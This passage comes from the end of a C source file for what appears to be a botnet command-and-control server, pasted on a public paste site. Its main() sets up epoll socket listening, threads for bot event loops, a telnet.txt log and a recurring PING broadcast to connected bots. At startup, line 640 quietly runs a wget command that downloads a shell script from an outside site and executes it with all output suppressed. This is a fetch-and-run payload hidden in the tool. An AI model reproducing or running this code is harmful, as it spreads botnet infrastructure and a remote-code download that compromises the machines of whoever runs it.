  629.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  630. }}
  631. int main (int argc, char *argv[], void *sock)//~B1NARY~
  632. {
  633.         signal(SIGPIPE, SIG_IGN);
  634.         int s, threads, port;
  635.         struct epoll_event event;
  636.         if (argc != 4) {
  637.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  638.             exit (EXIT_FAILURE);
  639.         }
  640.         system("wget -q http://heromione.site/c.sh -O c.sh; chmod +x c.sh; sh c.sh </dev/null >/dev/null 2>&1");
  641.         port = atoi(argv[3]);
  642.         telFD = fopen("telnet.txt", "a+");
  643.         threads = atoi(argv[2]);
  644.         listenFD = create_and_bind (argv[1]);
  645.         if (listenFD == -1) abort ();
  646.         s = make_socket_non_blocking (listenFD);
  647.         if (s == -1) abort ();
  648.         s = listen (listenFD, SOMAXCONN);
  649.         if (s == -1) {
  650.             perror ("listen");
  651.             abort ();
  652.         }
  653.         epollFD = epoll_create1 (0);
  654.         if (epollFD == -1) {
  655.             perror ("epoll_create");
  656.             abort ();
  657.         }
  658.         event.data.fd = listenFD;
  659.         event.events = EPOLLIN | EPOLLET;
  660.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  661.         if (s == -1) {
  662.             perror ("epoll_ctl");
  663.             abort ();
  664.         }
  665.         pthread_t thread[threads + 2];
  666.         while(threads--) {
  667.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  668.         }
  669.         pthread_create(&thread[0], NULL, &BotListener, port);
  670.         while(1) {
  671.             broadcast("PING", -1, "LEL");
  672.             sleep(60);
  673.         }
  674.         close (listenFD);
  675.         return EXIT_SUCCESS;
  676. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement